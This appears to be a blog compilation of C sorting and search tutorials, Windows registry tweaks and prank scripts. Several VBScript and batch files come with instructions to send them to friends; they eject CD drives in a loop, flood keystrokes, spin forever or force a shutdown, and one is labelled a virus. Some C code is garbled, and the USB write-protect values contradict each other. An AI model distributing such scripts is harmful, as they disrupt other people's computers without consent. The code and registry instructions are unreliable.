### Tutorial 4

Q-1. Binary Search.

#include<stdio.h>
#include<conio.h>
void main()
{
int array[10];
int i, j, N, temp, keynum;
int low,mid,high;
clrscr();
printf("Enter the value of N\n");
scanf("%d",&N);
printf("Enter the elements one by one\n");
for(i=0; i {
scanf("%d",&array[i]);
}
printf("Input array elements\n");
for(i=0; i {
printf("%d\n",array[i]);
}
/* Bubble sorting begins */
for(i=0; i< N ; i++)
{
for(j=0; j< (N-i-1) ; j++)
{
if(array[j] > array[j+1])
{
temp = array[j];
array[j] = array[j+1];
array[j+1] = temp;
}
}
}
printf("Sorted array is...\n");
for(i=0; i {
printf("%d\n",array[i]);
}
printf("Enter the element to be searched\n");
scanf("%d", &keynum);
/* Binary searching begins */
low=1;
high=N;
do
{
mid= (low + high) / 2;
if ( keynum < array[mid] )
high = mid - 1;
else if ( keynum > array[mid])
low = mid + 1;
} while( keynum!=array[mid] && low <= high); /* End of do- while */
if( keynum == array[mid] )
{
printf("SUCCESSFUL SEARCH\n");
}
else
{
printf("Search is FAILED\n");
}
} /* End of main*/

### Tutorial 3

Q-1: Write a program to implement sorting with Quick sort using Divide & Conquer method.

#include <stdio.h>
int split ( int*, int, int ) ;
void main( )
{
int arr[10] = { 11, 2, 9, 13, 57, 25, 17, 1, 90, 3 } ;
int i ;
void quicksort ( int *, int, int ) ;
quicksort ( arr, 0, 9 ) ;
printf ( "\nArray after sorting:\n") ;
for ( i = 0 ; i <= 9 ; i++ )
printf ( "%d\t", arr[i] ) ;
}
void quicksort ( int a[ ], int lower, int upper )
{
int i ;
if ( upper > lower )
{
i = split ( a, lower, upper ) ;
quicksort ( a, lower, i - 1 ) ;
quicksort ( a, i + 1, upper ) ;
}
}
int split ( int a[ ], int lower, int upper )
{
int i, p, q, t ;
p = lower + 1 ;
q = upper ;
i = a[lower] ;
while ( q >= p )
{
while ( a[p] < i )
p++ ;
while ( a[q] > i )
q-- ;
if ( q > p )
{
t = a[p] ;
a[p] = a[q] ;
a[q] = t ;
}
}

t = a[lower] ;
a[lower] = a[q] ;
a[q] = t ;

return q ;
}

Q-2: Write a program to implement sorting with Merge sort using Divide & Conquer method.

#include<stdio.h>

void getdata(int arr[],int n)
{
int i;
printf(“enter the data:");
for(i=0;i<n;i++)
{
scanf("%d",&arr[i]);
}
}
void display(int arr[],int n)
{
int i;
printf("  ");
for(i=0;i<n;i++)
{
printf("%d ",arr[i]);
}
getchar();
}
void sort(int arr[],int low,int mid,int high)
{
int i,j,k,l,b[20];
l=low;
i=low;
j=mid+1;
while((l<=mid)&&(j<=high))
{
if(arr[l]<=arr[j])
{
b[i]=arr[l];
l++;
}
else
{
b[i]=arr[j];
j++;
}

i++;
}
If(l>mid)
{
for(k=j;k<=high;k++)
{
b[i]=arr[k];
i++;
}
}
else
{
for(k=l;k<=mid;k++)
{
b[i]=arr[k];
i++;
}
}
for(k=low;k<=high;k++)
{
arr[k]=b[k];
}
}
void partition(int arr[],int low,int high)
{
int mid;
if(low<high)
{

mid=(low+high)/2;

partition(arr,low,mid);

partition(arr,mid+1,high);

sort(arr,low,mid,high);

}
}

void main()
{
int arr[20];
int n;
printf("Enter number of data:");
scanf("%d",&n);
getdata(arr,n);
partition(arr,0,n-1);
display(arr,n);
getchar();
}

### Continuously pop out your friend’s CD or DVD Drive

Type :

Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Save it as pc.vbs and send it to your friends.

Type :

@ECHO off
:top
GOTO top
Save it as pc.bat and send it.

### Frustrate your friend by making their keyboard hit Backspace simultaneously whenever they press a key

Type :

MsgBox “Let’s rock and roll”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
Save it as pc.vbs and send it to your friends.

Type :

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WScript.Sleep 100
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo “
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re “
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? “
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “
Save it as pc.vbs and send it to your friends.

### Hack your friend’s keyboard and make him type “You are a fool” simultaneously

Type :

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “You are a fool.”
loop
Save it as pc.vbs and send it to your friends.

### Frustrate your friend by making their keyboard hit Enter simultaneously whenever they press a key

Type :

Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
Save it as pc.vbs and send it to your friends.

### Toggle your friend’s Caps Lock button simultaneously

Type :

Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK}”
loop
Save it as pc.vbs and send it to your friends.

### Convey your friend a message and shut down his/ her computer.

Type :
@echo off
msg * I don’t like you
shutdown -c “Hahahah You are Doomed” -s
Save it as pc.bat and send it to your friends.

### Make Keyboard Keys Type Continuously

Type :
MsgBox “stop me..! if you can”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
Save it as pc.vbs and send it to your friends.

### Cycle a message in your friend’s computer.

Type :

@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * Because you have been o-w-n-e-d
GOTO BEGIN
Save it and...
as pc.bat and send it to your friends.

### 5 Great Registry Hacks

1. Security:

USB Drives are one of the major tool through which data transfer takes place. In order to protect your data from getting stolen from you computer with the help of a USB drive you can make the USB drives read only.
Go to  ‘HKLM\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies‘ and   create a new DWORD value ‘WriteProtect‘ and set its value to 1. This will enable you to read from USB drives, but you won’t be able to copy data to it.

2. Sorting Files:

Quite often you want the files to appear according to their names in explorer. In order to restore the ASCII file ordering, perform the following hack :
Go to ‘HKLM\Software\Microsoft\Windows\Currentversion\Policies\Explorer’ and create a new DWORD value called as ‘NoStrCmpLogical’ and set its value to 1.

Go to ‘HKEY_CURRENT_USER\ Control Panel\Desktop‘ and right click ‘MenuShowDelay’ and click ‘Modify’. Change the string value to some nearby 100 value.

4. Reducing Folder Accessibility Time

To speed up the access to any folder that is pinned to start menu, perform the following hack
Go to ‘HKCR\Folder\shellex\ContextMenuHandlers’ and right click ‘ContextMenuHandlers‘ and click ‘New|Key‘. Type ” (blank space and no quotation marks) and press Enter. Select any folder and right click on it to select ‘Pin to Start Menu’ while holding Shift key.

By default you are allowed only a single login at a time on Live Windows Messenger. You can override this by
Go to ‘HKLM\Software\Microsoft\WindowsLive\Messenger’ and create a new DWORD value ‘Multiple Instances’ and its values as 1.

### One-click PC shut down

This is really very easy one but very effective one. Enjoy it!

First, create a shortcut on your desktop by right-clicking on the desktop, choosing New, and then choosing Shortcut. The Create Shortcut Wizard appears. In the box asking for the location of the shortcut, type shutdown. After you create the shortcut, double-clicking on it will shut down your PC.

But you can do much more with a shutdown shortcut than merely shut down your PC. You can add any combination of several switches to do extra duty, like this
shutdown -r -t 01 -c “Rebooting your PC”
Double-clicking on that shortcut will reboot your PC after a one-second delay and display the message “Rebooting your PC.” The shutdown command includes a variety of switches you can use to customize it. Table 1-3 lists all of them and describes their use.

I use this technique to create two shutdown shortcuts on my desktop—one for turning off my PC, and one for rebooting. Here are the ones I use:

shutdown -s -t 03 -c “Bye Bye!”
shutdown -r -t 03 -c “I ll be back !”

Switch
What it does

-s
Shuts down the PC.

-l
Logs off the current user.

-t nn
Indicates the duration of delay, in seconds, before performing the action.

-c “messagetext”
Displays a message in the System Shutdown window. A maximum of 127 characters can be used. The message must be enclosed in quotation marks.

-f
Forces any running applications to shut down.

-r
Reboots the PC.

### How to Disable USB port on Windows Xp machine

USB keys are now a days  not just a popular way to sneak data out from companies, unhappy employees may use USB ports for delivering trojans or spyware into the company networks.
Now some smart admins disable usb drive by changing the BIOS settings and then lock the BIOS using passwords. Some not so-smart admins fix tapes over the USB ports to prevent employees from inserting any USB device into their computer.
When you do this, the USB storage device does not work when the user connects the device to the computer.

However, both these approaches can prove to be counter-productive as your staff can no longer use USB keyboards, wireless mouse, digital cameras, camcorders, scanners, printers or even USB microphones to their computers.
So a more reasonable option for sysadmins is to disable write access to USB port so that data files cannot be written to the mass storage device. The USB thumb drive will be read-only.
Open the Windows Registry and open the following key

HKEY_LOCAL_MACHINE\System\CurrentControlSet\ Control\StorageDevicePolicies

Now add a new DWORD called WriteProtect and put the value as 0 to disable write privileges to the USB port. To reverse the step, either delete the WriteProtect REG_DWORD or toggle the value to 1 which will enable the port.

Remember that the above trick works only with Windows XP SP2.

## How to Disable USB ports in window xp

1. Click Start, and then click Run. In the Open box, type regedit, and then click OK.
2. Locate and then click the following registry key:
3. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UsbStor
In the details pane, double-click Start. In the Value data box, type 4, click Hexadecimal (if it is not already selected), and then click OK.
4. Exit Registry Editor.

## How to re-enable a disable ports in Windows

1. Click Start, and then click Run. In the Open box, type regedit, and then click OK.
2. Locate and then click the following registry key:
3. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UsbStor
In the details pane, double-click Start. In the Value data box, type 3, click Hexadecimal (if it is not already selected), and then click OK.
4. Exit Registry Editor

### A Virus That Will Open And Close Ur Cdrom

Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
End If

copy this into notepad and save it as anyname.vbs like virus.vbs
and then double click on it...what u see....bingo

Now if u want to disable this go to task manager click on process
then find wscript.exe and end this process